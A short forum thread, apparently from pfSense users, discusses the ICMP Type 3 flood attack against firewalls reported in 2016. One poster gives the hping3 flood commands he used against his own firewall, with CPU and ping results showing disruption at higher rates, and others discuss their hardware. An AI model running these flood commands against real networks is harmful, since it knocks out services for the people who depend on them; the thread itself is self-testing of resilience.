ICMP Type 3 killing Cisco and other firewalls

Harvy66

http://arstechnica.com/security/2016/11/new-attack-reportedly-lets-1-modest-laptop-knock-big-servers-offline

heper

just tried this on my pfSense that runs on a Pentium4 with 256mb or ram …. (hitting it from the lan side)


hping3 --icmp -C 3 -K 3 -i u10 10.0.0.1  (around 40mbit/s)


last pid: 60491;  load averages:  4.13,  3.50,  1.93                       up 17+20:15:29  13:24:52
142 processes: 4 running, 120 sleeping, 18 waiting
CPU:  6.6% user,  0.0% nice, 90.2% system,  3.1% interrupt,  0.0% idle
Mem: 18M Active, 92M Inact, 76M Wired, 1668K Cache, 32M Buf, 22M Free
Swap: 512M Total, 12K Used, 512M Free


 0 root       -92    -     0K   112K -       21:19  65.97% kernel{em1 taskq}

above does not disrupt any traffic

when upping the speed i start disrupting traffic


hping3 --icmp -C 3 -K 3 -i u7 10.0.0.1 (around 65mbit/s)


64 bytes from cache.google.com (64.15.124.122): icmp_seq=722 ttl=58 time=12.7 ms
64 bytes from cache.google.com (64.15.124.122): icmp_seq=723 ttl=58 time=17.5 ms
64 bytes from cache.google.com (64.15.124.122): icmp_seq=724 ttl=58 time=14.7 ms
64 bytes from cache.google.com (64.15.124.122): icmp_seq=725 ttl=58 time=61.9 ms
64 bytes from cache.google.com (64.15.124.122): icmp_seq=726 ttl=58 time=3675 ms
64 bytes from cache.google.com (64.15.124.122): icmp_seq=727 ttl=58 time=2676 ms
64 bytes from cache.google.com (64.15.124.122): icmp_seq=729 ttl=58 time=676 ms
64 bytes from cache.google.com (64.15.124.122): icmp_seq=730 ttl=58 time=553 ms


last pid: 29763;  load averages:  3.83,  5.00,  3.23                       up 17+20:21:24  13:30:47
142 processes: 5 running, 119 sleeping, 18 waiting
CPU:  2.3% user,  0.0% nice, 96.9% system,  0.8% interrupt,  0.0% idle
Mem: 14M Active, 91M Inact, 76M Wired, 1668K Cache, 32M Buf, 27M Free
Swap: 512M Total, 12K Used, 512M Free


    0 root       -92    -     0K   112K -       23:59  97.27% kernel{em1 taskq}

if i increase speed any higher, things go down.

conclusion: unlikely to be a big issue for pfSense if you have a sane ammount of cpu-power

maverick_slo

I can`t kill mine with 1 server.

W4RH34D

Smurfs…
The Am1 is great but the 6 core xeon is in the closet in case things get nuts.

MasterX-BKC-

My main pfSense is virtualized in my VMware cluster, if someone came at me with this i could just up the core allotment easy peasy. i have 32 CPUs and 192 GB ram